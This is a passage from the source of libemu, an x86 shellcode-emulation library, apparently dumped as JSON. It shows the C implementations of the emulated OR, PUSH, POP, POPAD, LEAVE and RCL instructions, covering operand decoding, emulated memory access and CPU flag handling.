*i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 0A /r\n\t * r8 OR r/m8\n\t * OR r8,r/m8     \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t op;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &op);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t op, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t |)\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t |)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_or_0b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 0B /r\n\t\t\t * r16 OR r/m16\n\t\t\t * OR r16,r/m16   \n\t\t\t */\n\t\t\tuint16_t op;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &op);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t |)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 0B /r\n\t\t\t * r32 OR r/m32\n\t\t\t * OR r32,r/m32   \n\t\t\t */\n\t\t\tuint32_t op;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &op);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t |)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 0B /r\n\t\t\t * r16 OR r/m16\n\t\t\t * OR r16,r/m16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t |)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 0B /r\n\t\t\t * r32 OR r/m32\n\t\t\t * OR r32,r/m32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t |)\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_or_0c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 0C ib\n\t * AL OR imm8\n\t * OR AL,imm8\n\t */\n\n\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t |)\n\treturn 0;\n}\n\nint32_t instr_or_0d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 0D iw\n\t\t * AX OR imm16\n\t\t * OR AX,imm16\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t |)\n\t}\n\telse\n\t{\n\t\t/* 0D id\n\t\t * EAX OR imm32\n\t\t * OR EAX,imm32\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t |)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_80_or(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\t/* dst <-- dst <OPC> imm8 */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t |)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\t/* reg8[rm] <-- reg8[rm] <OPC> imm8 */\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t |)\n\t}\n\n\treturn 0;\n}\n\n\n\nint32_t instr_group_1_81_or(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 81 /1 iw \n\t\t\t * r/m16 OR imm16\n\t\t\t * OR r/m16,imm16  \n\t\t\t */\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t |)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /1 id \n\t\t\t * r/m32 OR imm32\n\t\t\t * OR r/m32,imm32\n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t |)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 81 /1 iw \n\t\t\t * r/m16 OR imm16\n\t\t\t * OR r/m16,imm16  \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t |)\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /1 id \n\t\t\t * r/m32 OR imm32\n\t\t\t * OR r/m32,imm32\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t |)\n\n\t\t}\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_1_83_or(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 83 /1 ib \n\t\t\t* r/m16 OR imm8 (sign-extended)\n\t\t\t* OR r/m16,imm8\n\t\t\t*/\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t |)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 83 /1 ib \n\t\t\t * r/m32 OR imm8 (sign-extended)\n\t\t\t * OR r/m32,imm8\n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n \t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t |)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 83 /1 ib \n\t\t\t* r/m16 OR imm8 (sign-extended)\n\t\t\t* OR r/m16,imm8\n\t\t\t*/\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t |)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 83 /1 ib \n\t\t\t * r/m32 OR imm8 (sign-extended)\n\t\t\t * OR r/m32,imm8\n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t |)\n\t\t}\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/pop.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 571*/\n\nint32_t instr_pop_07(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 07     \n\t * Pop top of stack into ES; increment stack pointer   \n\t * POP ES  \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\nint32_t instr_pop_17(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* 17     \n\t * Pop top of stack into SS; increment stack pointer   \n\t * POP SS  \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\nint32_t instr_pop_1f(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* 1F     \n\t * Pop top of stack into DS; increment stack pointer   \n\t * POP DS  \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\t\n\treturn 0;\n}\n\nint32_t instr_pop_5x(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif (i->prefixes & PREFIX_OPSIZE)\n\t{\n\t\t/* 58+ rw \n\t\t * Pop top of stack into r16; increment stack pointer  \n\t\t * POP r16 \n\t\t */\n\t\tTRACK_INIT_REG16(c->instr, i->opc & 7);\n\t\tPOP_WORD(c, c->reg16[i->opc & 7 ]);\n\t}else\n\t{\n\t\t/* 58+ rd \n\t\t * Pop top of stack into r32; increment stack pointer  \n\t\t * POP r32 \n\t\t */\n\t\tTRACK_INIT_REG32(c->instr, i->opc & 7);\n\t\tPOP_DWORD(c, &c->reg[i->opc & 7]);\n\t}\n\treturn 0;\n}\n\nint32_t instr_pop_0fa1(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* 0F A1  \n\t * Pop top of stack into FS; increment stack pointer   \n\t * POP FS  \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\nint32_t instr_pop_0fa9(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* 0F A9  \n\t * Pop top of stack into GS; increment stack pointer   \n\t * POP GS  \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\nint32_t instr_popad_61(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tint32_t j;\n\t\n\tif( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\tfor( j = 7; j >= 0; j-- )\n\t\t{\n\t\t\tif( j != 4 )\n\t\t\t{\n\t\t\t\tPOP_WORD(c, c->reg16[j])\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tc->reg[esp] += 2;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tfor( j = 7; j >= 0; j-- )\n\t\t{\n\t\t\tif( j != 4 )\n\t\t\t{\n\t\t\t\tPOP_DWORD(c, &c->reg[j]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tc->reg[esp] += 4;\n\t\t\t}\n\t\t}\n\t}\n\t\n\treturn 0;\n}\n\nint32_t instr_mov_89(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\nint32_t instr_leave(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n    struct emu_cpu_instruction back = *i;\n    // mov esp, ebp\n    // pop ebp\n    i->modrm.mod = 3;\n    i->modrm.opc = ebp;\n    i->modrm.rm = esp;\n    instr_mov_89(c, i);\n    i->opc = ebp;\n    instr_pop_5x(c, i);\n    *i = back;\n    return 0;\n}\n"
  },
  {
    "path": "src/functions/push.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 621*/\n\nint32_t instr_push_06(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 06    \n\t * Push ES\t\t\n\t * PUSH ES\n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\n\nint32_t instr_push_0e(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 0E    \n\t * Push CS       \n\t * PUSH CS    \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\n\n\n\nint32_t instr_push_16(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 16    \n\t * Push SS       \n\t * PUSH SS    \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\n\n\n\nint32_t instr_push_1e(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 1E    \n\t * Push DS       \n\t * PUSH DS    \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\n\n\n\nint32_t instr_push_5x(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 50+rw \n\t\t * Push r16      \n\t\t * PUSH r16   \n\t\t */\n\t\tPUSH_WORD(c, *c->reg16[i->opc & 7])\n\t}else\n\t{\n        /* 50+rd \n\t\t * Push r32      \n\t\t * PUSH r32   \n\t\t */\n\t\tPUSH_DWORD(c, c->reg[i->opc & 7])\n\t}\n\t\t\n\n\n\treturn 0;\n}\n\n\n\n\nint32_t instr_push_68(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\n\t\t/* 68    \n\t\t * Push imm16    \n\t\t * PUSH imm16 \n\t\t */\n\t\tPUSH_WORD(c, *i->imm16)\n\t}\n\telse\n\t{\n\t\t/* 68    \n\t\t * Push imm32    \n\t\t * PUSH imm32 \n\t\t */\n\t\tPUSH_DWORD(c, i->imm)\n\t}\n\n\treturn 0;\n}\n\n\n\n\nint32_t instr_push_6a(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 6A    \n\t * Push imm8     \n\t * PUSH imm8  \n\t */\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\tuint16_t word = (uint16_t)((int8_t)*i->imm8);\n\t\tPUSH_WORD(c, word);\n\t}\n\telse\n\t{\n\t\tuint32_t dword = (uint32_t)((int8_t)*i->imm8);\n\t\tPUSH_DWORD(c, dword);\n\t}\n\n\treturn 0;\n}\n\n\n\nint32_t instr_push_0fa0(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 0F A0 \n\t * Push FS       \n\t * PUSH FS    \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\n\nint32_t instr_push_0f08(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 0F A8 \n\t * Push GS       \n\t * PUSH GS    \n\t */\n\tUNIMPLEMENTED(c, NNY);\n\n\treturn 0;\n}\n\nint32_t instr_pushad_60(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tuint32_t j;\n\t\n\tif( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\tuint16_t temp = c->reg[sp];\n\t\t\n\t\tfor( j = 0; j < 8; j++ )\n\t\t{\n\t\t\tif( j != 4 )\n\t\t\t{\n\t\t\t\tPUSH_WORD(c, c->reg[j]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tPUSH_WORD(c, temp);\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tuint32_t temp = c->reg[esp];\n\t\t\n\t\tfor( j = 0; j < 8; j++ )\n\t\t{\n\t\t\tif( j != 4 )\n\t\t\t{\n\t\t\t\tPUSH_DWORD(c, c->reg[j]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tPUSH_DWORD(c, temp);\n\t\t\t}\n\t\t}\n\t}\n\t\n\treturn 0;\n}\n\nint32_t instr_group_5_ff_push(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* FF /6 \n\t\t\t * Push r/m16    \n\t\t\t * PUSH r/m16 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c,i->modrm.ea,&m16);\n\t\t\tPUSH_WORD(c, m16);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* FF /6 \n\t\t\t * Push r/m32    \n\t\t\t * PUSH r/m32 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c,i->modrm.ea,&m32);\n\t\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\t\t\temu_memory_segment_select(c->mem, s_ss);\n\t\t\tPUSH_DWORD(c, m32);\n\t\t\temu_memory_segment_select(c->mem, oldseg);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* FF /6 \n\t\t\t * Push r/m16    \n\t\t\t * PUSH r/m16 \n\t\t\t */\n\t\t\tPUSH_WORD(c, *c->reg16[i->modrm.rm]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* FF /6 \n\t\t\t * Push r/m32    \n\t\t\t * PUSH r/m32 \n\t\t\t */\n\t\t\tPUSH_DWORD(c, c->reg[i->modrm.rm]);\n\t\t}\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/rcl.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b, cpu) \\\nUINTOF(bits) operation_result = (a); \\\nuint8_t operand_b = (b); \\\n{ \\\n\toperand_b = (operand_b & 0x1f) % (sizeof(operation_result) * 8 + 1); \\\n\toperation_result = operation_result << operand_b | operation_result >> (bits - operand_b + 1); \\\n\tif( CPU_FLAG_ISSET(cpu, f_cf) && operand_b > 0 ) \\\n\t{ \\\n\t\toperation_result |= 1 << (operand_b - 1); \\\n\t} \\\n\tif( (a) & (1 << (bits - operand_b)) ) \\\n\t{ \\\n\t\tCPU_FLAG_SET(cpu, f_cf); \\\n\t} \\\n\tif( operand_b == 1 ) \\\n\t{ \\\n\t\tif( (operation_result >> (bits - 1)) ^ (cpu->eflags >> f_cf) ) \\\n\t\t{ \\\n\t\t\tCPU_FLAG_SET(cpu, f_of); \\\n\t\t} \\\n\t\telse \\\n\t\t{ \\\n\t\t\tCPU_FLAG_UNSET(cpu, f_of); \\\n\t\t} \\\n\t} \\\n\ta = operation_result; \\\n}\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b, cpu) \\\nINSTR_SET_FLAG_ZF(cpu) \\\nINSTR_SET_FLAG_PF(cpu) \\\nINSTR_SET_FLAG_SF(cpu)\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 631*/\n\nint32_t instr_group_2_c0_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* C0 /2 ib \n\t\t * Rotate nine bits (CF,r/m8) left imm8 times\n\t\t * RCL r/m8,imm8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* C0 /2 ib \n\t\t * Rotate nine bits (CF,r/m8) left imm8 times\n\t\t * RCL r/m8,imm8  \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *i->imm8);\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_c1_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /2 ib \n\t\t\t * Rotate 17 bits (CF,r/m16) left imm8 times\n\t\t\t * RCL r/m16,imm8\n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /2 ib \n\t\t\t * Rotate 33 bits (CF,r/m32) left imm8 times\n\t\t\t * RCL r/m32,imm8 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /2 ib \n\t\t\t * Rotate 17 bits (CF,r/m16) left imm8 times\n\t\t\t * RCL r/m16,imm8\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /2 ib \n\t\t\t * Rotate 33 bits (CF,r/m32) left imm8 times\n\t\t\t * RCL r/m32,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d0_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D0 /2\t \n\t\t * Rotate nine bits (CF,r/m8) left once        \n\t\t * RCL r/m8,1     \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t 1);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D0 /2\t \n\t\t * Rotate nine bits (CF,r/m8) left once        